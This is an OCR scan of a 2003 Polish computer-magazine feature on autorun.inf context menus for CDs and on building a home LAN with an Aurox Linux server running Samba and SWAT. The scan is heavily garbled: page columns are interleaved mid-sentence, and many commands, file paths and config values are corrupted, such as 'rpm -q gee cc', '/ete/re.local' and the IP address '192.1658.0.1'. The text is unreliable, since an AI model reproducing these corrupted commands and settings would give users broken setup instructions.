
shellexecute=f1lm. avi

¥

czony do automatycznego otworzenia. Moze to by¢ row-
nie dobrze aplikacja, jak i dowolny dokument - Auto-
Run Wizard spowoduje wtedy uruchomienie wtasciwej
aplikacji.

<) AuluRun Wizanl
Fie

Menu systemowe

N ajciekawszg funkejg pliku
autorun.inf jest jednak
funkcja definiujaca dodatkowg za-
wartos¢ menu kontekstowego ptyty
CD, dostepnego po kliknigciu pra-
wym przyciskiem myszy na ikonce
napedu.

Ekspert pokazuje tutaj, jak stwo-
rzy¢ menu kontekstowe.

1. Menu dodajemy poleceniem

shell o sktadni:
shell\ident\command=plik
shell\ident=tekst w menu

Ident to dowolne sfowo (bez
spacji) sfuzace jako identyfikator
danej pozycji w menu konteksto-
wym. W miejsce wyrazenia plik
W pierwszej linii wpisujemy nazwe
programu, jaki ma zosta¢ urucho-
miony po wiozeniu CD do napedu.
Po spacji mozemy dodac parametr,
na przyktad nazwe pliku dokumentu

_ do wySwietlenia @ ub listy MP3
Uwaga! Plik wykonywalny mu-
si znajdowac sie w Sciezce prze-

szukiwanej przez system, inaczej sig nastepujaco @------

krotnym kliknigciu na ikone napedu.
Po wypaleniu ptytki z przykiadowym
plikiem autorun.inf @ (i oczywi-
$cie odpowiednig zawarto$cig CD)
nastgpi automatyczne odtworzenie
pliku katedra.avi, a menu kontek-

stowe napedu bedzie prezentowac

mB

praba jego otwarcia sig nie powie-

Autoodtwarzanie

/

dzie. Windows poprosi nas wiedy
0 reczne wskazanie programu.

Odewarzaj MP3 1
Odtwarzaj MPS 2
Pokaz zdjecie
CaytajTa
Wyszukaj,..
Obwirz

2. Wazna jest druga linia pliku @=+
Okresla ona domysing akcje, kidra

bLod @
Wekome | Dase Folder {73 Lanch | lcon | Splash Screen | Options | Test |
The dulal b A Bl o LIRL Do Raurnch e e CO-ROM i pl

drrva, [ iz hle can by o any lypa [for exampls s, pdt, himl, mp3, etc. |
IF you select a file other than an _exs file. it might ot nn on all computers. Foe
instance if you choose & .pdf file, the user must have an association for a . pdf

Auto Launch

Do not zuto launch anything

& Launch a file located on the CO-ROM
Fieto launch [Faledraan € 3=
This file must exist within path of the Base Folder,
(& | € pen Windows Explrer o he oo of the COMOM

3 7 Launch a websie URL [http:// of bttps://]
I:'“‘ o

3. Po ewentualnym ustawieniu pozostatych opcji progra-

L]

bedzie wykonywat system po dwu- Browse Wit Paint Shop Pro 7
Pli. Edwcja Format  Widok Pomoc
[autarun]
shellexecute=katedra. av i

fcon=nutkaz.ico
shell mp3_l=0dtwarzaj mp3 1
shellwmp3_2=0dtwarzaj MpP3 2

shellpicture=rokaz zdjecie

shellwreadme=CzytajTo

shellsmp3_1scommand=winamp Tistal.m3 -

shellsmp3_2%command=winamp TistaZ.m3u

shellspicturescommand=yview POOOO0OOL. ]pg

prshellsreadmescommand=notepad readme.txt

mu nagrywamy gotowy plik autostartu, klikajac na @.
Pamietajmy, ze musimy umiesci¢ plik autorun.inf
w gtdwnym katalogu ptytkil

Warto zajrzeé...

Ksiazki

Nagrywanie ptyt CD. Cwiczenia
zaawansowane, Bartosz Danowski, Helion, Gliwice
2002, cena 16 zt

ABC nagrywania ptyt CD, Bartosz Danowski,
Helion, Gliwice 2002, cena 25 zt

ABC nagrywania ptyt DVD, Bartosz Danowski,
Helion, Gliwice 2003, cena 25 zt

Adresy WWW:

e www.cdrinfo.pl o www.doom9.net

o www.cdrlabs.com @ www.dvdrhelp.com
® www.rjlsoftware.com/software/utility/autorun

BT CZERWIEC - LIPIEC 2003



Nﬁrqiku
Samba GPL

Webmin GPL

pliki konfiguracyj-
ne Linuksa

Jomowaq sie¢ mozna zbudo-
ac, dysponujac kwota kil-
stet zlotych. | to catkowi-
2 legalnie - jako serwer
korzystujac darmowaq
strybucje Linuksa

siec lokalna i internet
otwierajg przed nami
nowe mozliwosci. Wie
to kazdy, kto cho¢ raz surfowat w in-
ternecie lub grat w gry sieciowe.
Ekspert pokaze, jak stworzyC sie¢
oparta na serwerze pracujacym
pod kontrolg systemu Aurox Linux.
Klientami beda cztery stacje robo-
cze 7 zainstalowanymi systemami
Windows 98 oraz Windows XP
(liczbe klientow ogranicza tylko ro-
dzaj posiadanego huba/switcha).
Na stronach 36—39 Ekspert po-
kaze, jak skonfigurowaé serwer
i klientow do pracy lokalnej, co wy-
starcza do wspotdzielenia plikow
i grania w gry sieciowe. Na stronach
40-41 znajdziemy na-
tomiast instrukcje

PORADY LAN Z DOSTEPEM DO INTERNETU  (Foziow Seowi

Fizyczna budowa sieci

Wyhbieramy typ sieci

Najwazniejszg sprawg jest wybor
topologii sieci, kidra wymusza ro-
dzaj okablowania oraz sposob pofg-
czenia ze sobg komputerow. Do naj-
popularniejszych nalezg topologia
magistrali @ i gwiazdy. Ta pierwsza,

" oparta na kablu koncentrycznym

i Ztaczkach BNC, ze wzgledu na wy-
sokg zawodnos¢ oraz ograniczenia
przepustowosci do 10 Mb/s jest co-
raz rzadziej spotykana.

(Obecnie standardem tworzenia
sieci lokalnych jest topologia gwiaz-
dy @. Do jej zalet naleza: duza

przepustowosc, mafa awaryjnos¢
oraz fatwos¢ rozbudowy. Sie¢ taka
wymaga dodatkowego centralnego
elementu — switcha lub huba. Eks-
pert poleca te topologig ze wzgledu
na niski koszt i dostepnos¢ niezbed-
nych podzespotow.

Y
0 konfiguracji dostgpu 4 : | _
do internetu przez . - -

serwer i facze SDI.

‘F Szacowane ceny komponentéw sieciowych

Komponent Gena Uwagi

karta sieciowa 0d 30 do 50 2t przed zakupem karty sieciowej nalezy
*1.“.‘ sprawdzié, czy na plycie gtownej nie ma wbu-

- tdowanej sieciowki
switch okoto 200 zt w tej cenie kupi¢ mozna switche 8-portowe
takich firm jak D-Link i Surecom

e Shiglka 0d 50 groszy do 2z zametr  kabel UTP, ze wzgledu na swojq budowe, jest
= nacznie taiszy od STP
g‘fﬁ-’-— koncowki RJ-45  okofo 60 groszy za sztuke do wykonania kabli potrzebna jest specjalna

zaciskarka - najlepiej ja od kogos pozyczyé

CZERWIEC - LIPIEC 2003 (e o]

Jakie kable?

Przy konstruowaniu sieci w to-
pologii gwiazdy wykorzystywany
jest zwykle kabel kategorii 5, zwany
potocznie skretkg. Najczesciej spo-
tyka sie jego podstawowe dwa ro-
dzaje — ekranowany (STP) @ i nie-

N
H
1
1

Roznig sie one budowg — z ze-
wnatrz nie rozroznimy ich (chyba

2e po nadruku) @.
el

Few 1 UTP IEC 322y

STP wyposazony jest w dodat-
kowy ekran z folii aluminiowe] @----
ktora minimalizuje twystepowanie
wszelkich zaktocen zewnetrznych.

Najczesciej stosuje sie ten typ
kabla,, gdy fragment sieci przebiega
na zewnatrz budynku. Do
zastosowania wewnatrz
budynku z reguty wystar-
cza skretka nie-

ekranowana, chyba,
ze istnieje ryzyko zaktocenia przez
pole elektromagnetyczne.

Oba rodzaje kabli kategorii 5 ofe-
rujg przepustowos¢ 100 megabitow
na sekunde, co pozwala stworzy¢
sie¢ w standardzie Fast Ethernet.

Przy kablu typu skretka wykorzy-
stuje sie koncowki RJ-45. Utozenie
zyt na obu koncach kabla powinno
by¢ takie samo (mowimy, ze kabel
jest bez przeplotu). Kolejnos¢ kolo-
rowych zyt w kablu definiujg dwa
standardy. Pierwszy z nich, ozna-
czony jako EIA/TIASG8A, jest cze-
$ciej spotykany i narzuca taki uktad
(liczac od lewej strony wtyczki RJ-
-45): biato-zielony, zielony, biato-
-pomaranczowy, niebieski, biato-
-niebieski, pomaranczowy, biato-

Drugi z nich — EIA/TIA-
568B — definiuje inng
kolejnos¢: biato-poma-
ranczowy, pomaranczo-
wy, biato-zielony, nie-
bieski, biato-niebieski,
zielony, biato-brazowy i brazowy.
Kable warto zrobi¢ we wfasnym
zakresie, wykorzystujac i konse-
kwentnie trzymajac sie jednego
7 dwach opisanych wezesniej
standardéw. Do wykonania konco-
wek potrzebna jest zaciskarka.




Hub czy switch?

W sieci o topologii gwiazdy kable
rozchodza sie z punkiu centralnego
do poszczegoinych komputerow lub
urzadzen. Role punktu centralnego
petni najczesciej hub (koncentrator)
lub switch (przefacznik).

Hub to urzadzenie, ktdre petni ro-
le wzmacniacza sygnatu ptynacego
w sieci. W momencie, gdy dociera

dane
dla Komp B

do niego
sygnat, zo-
staje on powielony na wszystkie
porty huba. Pakiety docierajg do

_____

g jednak ignorowane przez wszyst-
kie komputery z wyjatkiem adresata.
Wadg hubow jest nadmiarowy
ruch, zmnigjszajacy 0golng wydaj-

nos¢ sieci. Poza tym urzadzenia
pracujg zwykle z predko$cig nie
wigksza niz 10 megabitow na se-
kunde. Dla intensywnie uzywanej
sieci lokalnej taki transfer moze
okazac sig zbyt maty.

Zdaniem Eksperta lepiej budo-
wac sie¢ opartg na switchu. Jego
zalety to przesyt danych z predko-
$cig 100 megabitow na sekunde,

Karty sieciowe
Podczas wyboru karty sieciowe;
nalezy zadac sobie pytanie, na ile
zalezy nam na bezawaryjnej pracy
sieci. Im lepsza karta, tym mniejsze
prawdopodobienstwo jej awarii.
Swietnie spisuja sie karty sieciowe
takich firm jak 3Com czy Intel, jed-
nak sg one dos¢ drogie. W matych
sieciach w zupetnosci wystarczg po-
pularne karty oparte na chipsetach
Realtek albo ADMtek. Mozna je ta-
nio kupi¢ w prawie kazdym sklepie
komputerowym. Do pracy w stan-
dardzie Fast Ethemet potrzebne
nam sg karty 10/100 Mb.
Wiele obecnie produkowa-
nych ptyt gtownych ma
karty sieciowe zintegrowa-

sieciowej jest zbedny.

Serwer

Parametry komputera przezna-
CZ0Nego na serwer sieciowy zaleza
od petnionej przez niego roli. W na-
szym przypadku, zadaniem serwera
jest udostepnianie internetu dla
czterech stacji roboczych oraz
wspotdzielenie plikow. Oczywiscie
im wigcej ustug oferuje serwer, tym
lepsze musi mie¢ parametry.

my taki komputer, zakup karty |

Switch wyglada
podobnie jak hub, ale
na jego bazie moina
zhudowat znacznie
bardziej wydajng sie¢

a takze fakt, ze pakiety danych nie
53 wysytane do wszystkich do-
stepnych portéw, ale tylko
do tych, miedzy ktérymi nastepuje
_transmisja @. Eliminuje to niepo-
trzebny Tuch w sieci oraz minima-
lizuje szanse wystgpienia kolizji
w wyniku jednoczesnego rozpo-
czecia nadawania przez kilka ma-
szyn. Sie¢ jest dzieki temu znacz-
nie wydajniejsza.

dane
dla Komp B

Nasz serwer bedzie pracowat
pod kontrolg systemu operacyjne-
go Linux (skorzystamy z dystrybu-
cji Aurox), ktory nie wymaga szyb-
kiego komputera. Wedtug Eksper-
ta, rozsgdnym minimum bedzie
pecet z procesorem Pentium 300
MHz, 64 MB pamigci RAM oraz
dyskiem o pojemnosci 6 GB.
Oczywiscie uda sie zainstalowac
Linuksa na znacznie wolniejszym
sprzecie, ale dobrze miec jaki$ za-
pas, gdybysmy chcieli poznig;
rozszerzy¢ jego funkcjonalnosc.

Komputer petniacy role serwera

nie wymaga monitora, myszki,
klawiatury czy karty dzwigko-
wej (chociaz podzespoty te
przydadza sie do jego konfi-
guracji). Dzigki temu moze-
my wykorzystac juz posiada-
ny stary komputer lub oka-

zyjnie kupi¢ sprzet uzywany.

Praktyczne wskazowki
Zdarza sie, ze podczas instalacji
albo w trakcie pozniejszej pracy sie-
Ci pojawiajg sie problemy — brak ko-
munikacji pomiedzy komputerami,
zbyt wolna transmisja danych. Eks-

pert przypomina zasady, ktorych
trzeba sig trzymac, tworzgc siec,
a takze wskazowki, jak rozwigzywaé
najczestsze sieciowe problemy.

o Kolejnos¢ kolorow kabli
podczas zaciskania koficowek.
Standardy EIA/TIA568A i EIA/TIA-
568B definiuja, ktdre pary przewo-
déw sygnatowych sg ze sobg skre-
cone. Dzigki temu zwigksza sie od-
porno$¢ na zaktocenia elektroma-
gnetyczne, co ma istotne znaczenie
przy przesytaniu danych z predko-
$cig 100 Mby/s. Ponadto odpowied-
nie skrecanie par przewoddw mini-
malizuje efekt wzajemnego zakto-
cania sig sygnatu w wigzce.

o Diugosc kabla (skretki) ta-
czacego switch z kompute-
rem. Zgodnie ze specyfikacjg or-
ganizacji standaryzacyjnej IEEE
nie moze ona przekracza¢ 100

metrow. Do tego swoje urzadzenia

sieciowe przystosowujg wszyscy
producenci i dla tej dtugoSci ka-
bla sie¢ musi dziata¢ bezproble-
mowo. Maksymalna dtugos¢ kabla
miedzy dwoma komputerami po-
taczonymi switchem moze wyno-
si¢ 200 metrow.

o Kabel STP zalecany

w ekstremalnych warunkach.
Dla odlegtosci siegajacej 100
metrow Ekspert zaleca uzywanie
kabla ekranowanego (STP), by
zminimalizowa¢ mozliwo$¢ zakto-
cen. Tak samo nalezy postgpic,
gdy kabel przebiega na zewnatrz
budynku.

o Kabel sieciowy czesta
przyczyng awarii sieci. Ciezko
jest zdiagnozowac uszkodzony ka-
bel sieciowy. Dobrze jest do wy-
konania tej czynnoSci uzy¢ spe-
cjalnych testerow do kabli, by

w ten sposob sprawdzi¢ tacznose
pomiedzy poszczegdlnymi zytami

na obydwu koncach kabl_a_l._ Jes|| _____
my dostepu, mozemy uzy¢ mierni-
ka lub sprawdzi¢ kable u kolegi,

u ktorego sie¢ dziafa.

o Problemy ze switchem. Cz¢-
sto przyczyng problemow w sieci
jest zawieszajgcy sie switch. Doty-
czy to gtéwnie tanich modeli majg-

@ PING dobry na wszystko |

N iezwykle pomocnym narzedziem do diagnozowania
problemow z siecig jest dostepne w kazdym systemie
operacyjnym polecenie PING. Pozwala ono miedzy innymi
sprawdzi¢, czy istnieje fizyczne potaczenie miedzy kompu-
terami (a wiec, czy sprawne sg kable, czy pracuje switch
oraz karty sieciowe). Jesli komputery pingujg sie (widzimy
informacje o czasie przekazywania pakietéw pomiedzy
nimi) @, a sie¢ mimo to nie dziata, problemu nalezy szu-

ka¢ w konfiguracji komponentow sieciowych (na przyktad
klient sieci Microsoft) lub protokotdw.

[rootBHellGate /1% ping 192.168.0.4

64 bytes from 192 188 .0.4:
Ad bytes from 192 188.0.4:
b4 bytes from 192.168.0.4:

PING 192.168.0.4 (192.168.0.4) from 192.168.0.1 :
64 bytes from 192.1628.0.4: icmp_seq=1 ttl=123 time=0.393 ms
)64 bytes from 192 168 .0_4: icmp_seq=2 ttl=123 time=0_2E7 ms

icmp_seq=3 ttl=123 time=0.262 ms
mp_seg=4d ttl=128 timp=0_281 ma
jemp_seg=h ELI=1P8 times0. 269 ms

56(84) byt

cych zewngtrzne zasilacze, bardzo
podatne na zmiany napigcia w Sieci
energetycznej (tego typu sytuacje
majg miejsce najczesciej podczas
burzy lub w przypadku zmian na-
piecia w gniazdkach). Problem
rozwigzemy, wytaczajac i nastepnie
wigczajgc zasilanie w switchu.
Warto takze podtaczy¢ switch do
listwy przeciwprzepigciowe).

o Najczestsze przyczyny awa-
rii sieci. Zwykle powdd kiopotow
jest prozaiczny. Gdy pojawia sie
problem z komunikacjg dwoch
komputeréw, w pierwszej kolejno-
$ci nalezy sprawdzic, czy po prostu
kabel nie wypadt z gniazda karty
sieciowej lub switcha. Zbadajmy
takze, korzystajac z Menedzera
urzadzen, czy karta sieciowa pracu-
je poprawnie (w razie probleméw
widac obok jej nazwy ikone wy-

76 serwer dziafa — czesto zdarza
sie, ze ten najbardziej obcigzony
komputer zawiesza sie.

@ k.arty graficzne
[=-EE Karty sieciowe

-8 Klawiatura

=B D-Link DFE-550T FAST Ethemet 104100 Adapter

®

Ekspert radzi

iele cennych informacji dotyczacych sieci oraz roz-

wigzywania probleméw mozna znalez¢ na nieofi-
cjalnym FAQ grupy dyskusyjnej pl.comp.networking
Dostepne jest ono po adresem: http://sierp.net/faq
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G dy juz fizyczne pofaczenia pomigdzy komputerami zostaty wyko-
nane, pora zabrac sie za cze$¢ programowg. Zaczniemy od in-

stalacji i konfiguracji serwera, ktory bedzie zapewniat uzytkownikom sie-
dzi dostep do wspolnych plikdw i urzadzen (a w przyszfosci takze do in-
ternetu). Serwerem bedzie komputer pracujgcym pod kontrolg systemu

operacyjnego Aurox Linux.

Jaka wybrac

- ontrola Lintkes oracue corad 60 dystrybucje?
od kontrolg Linuksa pracuje pona .
p procent serwerow internetowych. ﬁ Zdaniem Eksperta, najlepsza dys-

Nie dzieje sie tak przypadkowo. Powodami duzej popu- frybucja dla ZHCZVnaiaCGQOI SWoja
larnosci tego systemu sg przede wszystkim: wielozada- przygode z Linuksem bedzie Aurox.
niowos¢, niski koszt (wigkszos¢ dystrybucji jest darmo- Oparty on zostat na dystrybucji Red
wa). Niewielkie wymagania sprzetowe, darmowe narze- Hat Linux 8.0, ale roznica polega na
dzia i programy dla ad- Serwery www i . Y — tal
ministratoréw sieci oraz w sw|at°wym |nter|1ec|e' ym’ ew ZnaCZﬂym S OmeZOS d
elastycznos¢ w konfigu- marzec 2003 spolszczony. Po polsku jest instala-
rowaniu systemu. Duzo | |nne 10,05% tor, a takze spora czeS¢ elementow
méwi sie takze o bezpie- systemu. Utatwi to podejmowanie
creristwie systeméw linuk-| ficrosoft IS pierwszych krokow uzytkownikom
sowych, jednak zdaniem | 59 4400 \ ) . L
Eksperta Linux nie ma g ktorzy nie zdobyli jeszcze doswiad-
weale mniej luk w zabez- Apacohe czenia w pracy z tym systemem. Po-
pieczeniach niz Windows. 62,51% | mocna z pewnoscia bedzie tez doku-

mentacja systemu, ktéra przettuma-
czona zostata na jezyk polski i pozwoli na zdobywanie dodatkowej wiedzy
oraz rozwigzywanie ewentualnych problemow.

Instalujemy @ Ekspert radzi |
W numerze 1/2003 Eksperta zna-

lez¢ mozna dokladny opis instalacji | fvdgjzefrfﬁm Ir‘:;jl;::qsko
dystrybucji Mandrake Linux 9.0. rzysta¢ z pomocy dokumentacji.
W bardzo podobny sposob mozna za-  Jesli chcemy wyswietli¢ informa-
instalowac Aurox — co prawda, sa cje 0 danym poleceniu, wpisujemy

komende man polecenie albo

niewielkie roznice i graficznie pro- polecenie --help

gram instalacyjny wyglada nieco ina-
czej, ale sama idea i poszczegolne kroki instalacji sg bardzo podobne. In-
stalacje utatwia dodatkowo polski instalator.

Gtownym zadaniem serwera bedzie udostepnianie potgczenia internetowe-
go oraz wspatdzielenie plikow w Otoczeniu sieciowym. W zwigzku z tym,
najwazniejszg ustugg pracujgcg w Linuksie jest dla nas Samba (wiecej o niej
w dalszej czeSci). Najprosciej jest wybrac ten komponent w fazie instalacii
systemu. Jednak Ekspert odradza takie postgpowanie, gdyz pakiety zawarte
na krazkach dystrybucji nie zawsze sg aktualne. W Sambie w wersjach od
2.0.x do 2.2.8 wigcznie odkryto niedawno luke bezpieczenstwa. Pozwala ona
wlamywaczowi na przejecie najwyzszych uprawnien w systemie. Niestety, na
plycie instalacyjnej Auroksa zamieszczona jest wersja 2.2.5, wiec podatna na
atak. Zalecane jest zainstalowanie Samby w wersji dostepnej w internecie na
stronach www.samba.org Iub z krazka Eksperta (wersja 2.2.8a).

Jak zdobyé dystrybucje Linux Aurox 8.0?

A urox 8.0 dostepny byt na ptytach zatg- Obrazy ptyt instalacyjnych dostepne sg pod po-
czonych do listopadowego numeru gazety  nizszymi adresami FTP:

LiINUX+ Extra! Kolejna wersja, 9.0, zgodna o ftp://sunsite.icm.edu.pl/pub

z Red Hat Linux 9.0 pojawita sie na rynku /Linux/distributions/aurox/

w momencie oddawania do druku biezacego o ftp://ftp.interklasa.pl/pub/linux
numeru Eksperta. Wéréd nowosci nowej Jaurox80

dystrybucji warto wymienic pakiet aplikacji o ftp://ftp.pwsz.elblag.pl/pub/linux
multimedialnych oraz edukacyjnych. /distributions/aurox

Linux nie bedzie petnit roli stacji roboczej, lecz serwera. Dlatego Ekspert
nie zaleca instalowania na nim Srodowiska graficznego. Poprawi to jego
bezpieczenstwo, wydajnos¢ i zaoszczedzi miejsce na dysku. W serwerach
nigdy nie nalezy instalowa¢ komponentow, ktore nie s3 wymagane. Dlate-
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= PORADY LAN Z DOSTEPEM DO INTERNETU

@ Ekspert radzi )

| | | | | |
o n I g u ra CJ a S I e c I alezy pamietac, ze w celu wprowadzania

wszelkich zmian na serwerze linuksowym
musimy by¢ zalogowani jako root.

go tez, podczas fazy instalacyjnej, powinno sie samemu decydowac o po-
trzebnych pakietach, a nie wybiera¢ predefiniowanych instalacji serwer
lub stacja robocza.

Konfiguracja sieci

W celu nadania adresow IP poszczegdlnym komputerom w sieci lokal-
nej, skorzystac nalezy z prywatnych klas adreséw. S3 to pule numeréw IP
ktore bez przeszkod mozna wykorzystywac w sieciach lokalnych, nawet
w tych podtaczonych do internetu. Ich liste znajdziemy w tabelce o
W matych sieciach lokalnych najczesciej wykorzystuje sie klase C. ;

@ Prywatne klasy adresow )

Lakres adresow [P Maska podsieci
Klasa A 10.0.0.0 - 10.255.255.255 255.0.0.0
Klasa B 172.16.0.0 - 172.31.255.255 255.255.0.0
Kiasa C 192.168.0.0 - 192.168.255.255 255,255.255.0

W sieci LAN mozemy uzy¢ jednej z trzech widocznych powyzej klas adresow
prywatnych. Ekspert zaleca, by podczas przydzielania adreséw poszczegdlnym
hostom w sieci, respektowa¢ pewne konwencije. Adres urzadzenia realizujgcego
funkcje bramy internetowej, serwera badz rutera powinien mie¢ pierwszy wolny
adres z danej klasy adresow. Tak wiec dla klasy C wybierzemy 192.168.0.1
Kolejny wolny IP czyli 192.168.0.2, powinien by¢ przydzielony komputerowi
administratora. Nastepne wolne rezerwowane sg dla serwerow petnigcych inne,
istotne role w sieci. Dopiero reszte adresow IP przydzielamy klientom w sieci.

1. Nanasze po-
trzeby wykorzysta-
my pule adresow
prywatnych
zklasy C —
192.168.0.0 Za-
tem karta siecio-
wa serwera (inter-
fejs eth0) bedzie
miata przydzielony
unikatowy adres

IP 192.168.0.1 oraz maske pod3|e0| 255.255.255.0 Numery [P moz-

na przydzieli¢ podczas instalacji Linuksa lub pozniej za pomocg programu

netconfig®. Uruchamiamy go poleceniem netconfig w linii komend.
Kazdy komputer w sieci musi miec inny adres IP i takg samg maske pod-
sieci — wigcej informacji na stronie 39.

2 . Netconfig poprowadzi nas krok po kroku przy konfiguracji ustawien
interfejsu sieciowego. Pamietajmy jednak, ze w przeciwienstwie do po-
szczegolnych stacji w sieci LAN, na serwerze nie wpisuje sie adresu bramy
internetowej (gdyz on sam petni te role). Dodatkowo trzeba podac przynaj-
mniej jeden adres serwera DNS dostawcy ustug internetowych. Dla klien-
tow TP SA sg to: 194.204.152.34 oraz 194.204.159.1 Wpisane teraz ser-
wery DNS bedg przydatne w dalszej cze$ci artykutu, gdy zabierzemy sie
za konfiguracje dostepu do internetu.

Ekspert radzi )

U stawien sieci mozna dokonywac bezposrednio w plikach konfiguracyj-
nych. Podczas zamiany ustawien karty sieciowej nalezy zmodyfikowac
plik /etc/sysconfig/network-scripts/ifcfg-ethO Wyswietlamy
zawartos¢ tego pliku @, ktora powinna wygladac tak: ®

Y [rootBHellGate network-scriptsl# cat ifcfg-etho

[I—

[rootBHellGate /14 cd Jetc/sysconflgsinetwork-— sc:r“lpts

DEVICE=ethO
OMBOOT=yes
BOOTPROTO=none
IPADDR=192.1658.0.1
NETMASK=255.255.255.0
GATEWAY=192.168.0.1




Czym jest Samba i co potrafi?

Ustuga Samba jest darmowym zestawem narzedzi, ktdre przede wszyst-
kim pozwalajg Linuksowi pefnic role serwera plikow. Wykorzystuje ona im-
plementacje protokotu Server Message Block, okreslanego czesto jako
NetBIOS. Dzigki niemu moze nastepowa¢ swobodna wymiana plikéw po-
miedzy systemami Linux oraz Windows. Samba stanowi alternatywe dla
drogich rozwigzan opartych na oprogramowaniu Microsoft Windows, ktore
przez dfugi czas byty bezkonkurencyjnymi serwerami plikow.

Samba skfada sie z dwoch demonow: smbd umozliwiajgcego wspot-
dzielenie plikow, drukarek i uwierzytelniajgcego uzytkownikow oraz nmbd,
ktory odpowiada za ustuge WINS, a takze wspomaga proces przegladania
Otoczenia sieciowego. Caly ten zestaw pakietow pozwala serwerowi linuk-
sowemu imitowac serwer Windows.

Konfiguracja Samhy

1. Najnowsza wersja Samby zamieszczona zostata na krazku CD dofaczo-
nym do Eksperta. Szczegotowe instrukcje dotyczgce instalacji tego pakietu
znajdujg sie na krazku w pliku tekstowym. Aby instalacja sie powiodta,
w systemie musi znajdowa¢ sie kompilator GCC lub GC. Aby sprawdzig,
czy mamy ktory$ z nich, wpisujemy polecenie: rpm -q gee cc Jesli oka-
Ze sig, ze kiorego$ z nich brakuje, musimy doinstalowac go z ptyty instala-
cyjnej Linuksa. Pakiety znajduija sie zwykle w katalogu /RedHat/Rpms In-
stalujemy je poleceniem rpm -i nazwa_pakietu, na przykfad:

rpm -i gee-3.2-7.1386.rpm

2. Samba po zainstalowaniu znajduje sie domyéInie w katalogu /ust/lo-
cal/samba Aby rozpocza¢ konfiguracje, trzeba za pomoca polecenia
touch stworzy¢ plik z ustawieniami w katalogu /usr/local/samba/lib
Wpisujemy polecenie: touch /usr/local/samba/lib/smb.conf

smb.conf Czynimy to poleceniem:

In -s /usr/local/samba/lib/smb.conf /etc/smb.conf
Jezeli do instalacji Samby postuzylismy sie pakietem RPM, a nie zrodtowymi
plikami Samby, dowigzanie symboliczne dla pliku smhb.conf zostanie auto-
matycznie stworzone w katalogu /ete/samba/smb.conf W takim wypadku
konieczna bedzie praca na pliku znajdujgcym sie wtasnie w tym katalogu. In-
ne beda tez niektdre kroki konfiguracyjne serwera. Dlatego Ekspert zaleca
skorzystanie z plikdw zrédtowych z dotgczonej ptyty CD.
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ozemy utatwi¢ sobie prace, tworzac dowigzanie symboliczne dla pliku

3. Ustawianie parametréw pracy Samby polega gtéwnie na edycii pli-
ku smb.conf Ekspert pokaze, jak sprawi¢, by Linux pojawit sie w Oto-
czeniu sieciowym. W tym celu w pliku smb.conf musi sie znalez¢ kilka
wpisow @. Pamigtajmy, ze w plikach konfiguracyjnych Linuksa znak #

oznacza komentarz i kazda linijka rozpoczeta w ten sposob jest ignorowana:

[rootBHellGate rootlft cat fusrslocal/sambadlibssmb.conf
# Clobal parameters
[glokball

L

#grupa robocza - identyczna na wszystkich stacjach
workgroup = FIRMA

#n3zwa w otoczeniu sSleclowym

netbios name = Linuks

#opis komputera w otoczeniu

server string = Bramka do internetu

gnstawiernie Faherpienzen na pnzinmie 7asnhnw
security = SHARE

fizmuszcnic Samby do uzywania polskich znaczleow
character set = IS08850 2

client code page - 852

4. Aby sprawdzi¢, czy nie popetniliSmy btedu, modyfikujac plik
smb.conf, nalezy uruchomi¢ program TestParm, wpisujac testparm @.

Mrocessing section "[wspolnyl”

Processing section "[homes]"

Loaded services file OK.

Fress enter to see a dump of your service definitions

W efekcie powinniSmy zobaczy¢ takie informacje o- Swiadczy to
0 poprawnej konfiguracji.

@ Jakie mozliwosci ma Samba )l

Linux jako kontroler domeny - logowanie i autoryzacja uzytkownikéw
wspotdzielenie plikow i drukarek w sieci 4
obstuga ustugi WINS L ¢ A
komputery linuksowe widoczne w Otoczeniu sieciowym

przegladanie i uzywanie zasobow sieciowych przez klientéw Windows

@

Uruchamiamy Sambe

1. Aby Samba uruchamiafa sie automatycznie, musimy wystartowac¢ dwa
demony — smbd i nmbd. W tym celu stworzymy dla nich odpowiedni
skrypt i dopiszemy jego skrét do pliku /ete/re.local Z konsoli tworzymy
plik startsmb poleceniem: touch /usr/local/samba/bin/startsmb

2. Nastepnie, za pomoca edytora tekstowego (vi, meedit lub uzywajac

funkcji edycji {¥+, w me) wpisujemy w nim linijki @-

[rootBHellGate rootl# cat Jusr/local/sambas/binsstartsmb
#! /binssh
fusrs/local fsambasbinssmbd -0

/usrslocal /samba/bindnmbd -0

3. Plik startsmb trzeba teraz uczyni¢ uruchamialnym. Wykorzystamy do
tego polecenie: chmod +x /usr/local/samba/bin/startsmb

4 . Teraz wystarczy juz tylko w pliku /ete/re.local dopisac linijke:
/usr/local/samba/bin/startsmb
Samba bedzie startowata po kazdym uruchomieniu serwera.

A

SWAT pomaga

@ Co potrafi SWAT

Serwer Samby mozemy konfiguro-
wac poprzez recznie modyfikowanie
pliku smb.conf — tak jak pokazano to
na tej stronie. Daje to duze mozliwo-
$ci zarzadzania, ale jednoczesnie wy-
maga sporej wiedzy. Aby utatwi¢ pra-
ce poczatkujacym uzytkownikom, Ekspert zaleca korzystanie z narzedzia
SWAT (Samba Web Administration Tool). Wchodzi ono w sktad pakietu
Samba i umozliwia zdalne zarzadzanie 3 ustugg za posrednictwem przegla-
darki internetowej. SWAT to nic innego, jak prosty serwer WWW, obstugu-
jacy skrypty CGl. Zaletg jego jest graficzny interfejs, dzieki ktdremu w intu-
icyjny sposob mozna konfigurowa¢ Sambe. Oprogramowanie to jest bez-
pieczne, o ile tylko wykorzystujemy je w sieci lokalnej. Jesli zalezy nam
na bezpieczenstwie, skorzystajmy z Webmina (patrz ramka na stronie 38).

zarzadzanie dostepem do SWAT

°
°
® wyswietlanie stanu serwera
°
e dostep do dokumentacji

1. Dzigki temu, 76 SWAT instalowany jest razem z Samba, w celu jego
uruchomienia wystarczy wprowadzi¢ tylko mate modyfikacje. Najpierw na-
lezy do pliku /ete/services dopisac linijke: Swat 901/tcp

2. Jesli wykorzystujemy serwis inetd, trzeba do /etc/inetd.conf dodac:
swat stream tcp nowait.400 root /usr/local/samba/bin /swat swat

edycja sekcji [global] pliku smhb.conf
zarzadzanie drukarkami i zasobami plikow

3. W przypadku wykorzystywania
demona xinetd, w jego pliku kon-
figuracyjnym /etc/xinetd.conf

defanlts

4. r0 ponownym uruchomieniu
Linuksa (badz tylko restarcie ustu-
gi xinetd) mamy mozliwo$¢ po-
faczenia sie ze SWAT-em z do- 3
wolnego komputera za pomoca
przegladarki. W okno adresu wpi-
sujemy adres serwera oraz po
dwukropku numer portu 901:
http://192.168.0.1:901

instances

log type
log_on_success
log_on_failure
cps

includedir fetc/xinetd.d
service swat

port = 901

socket type = stream
wait - no

user = rool

lng_nn_failure += LISERTD
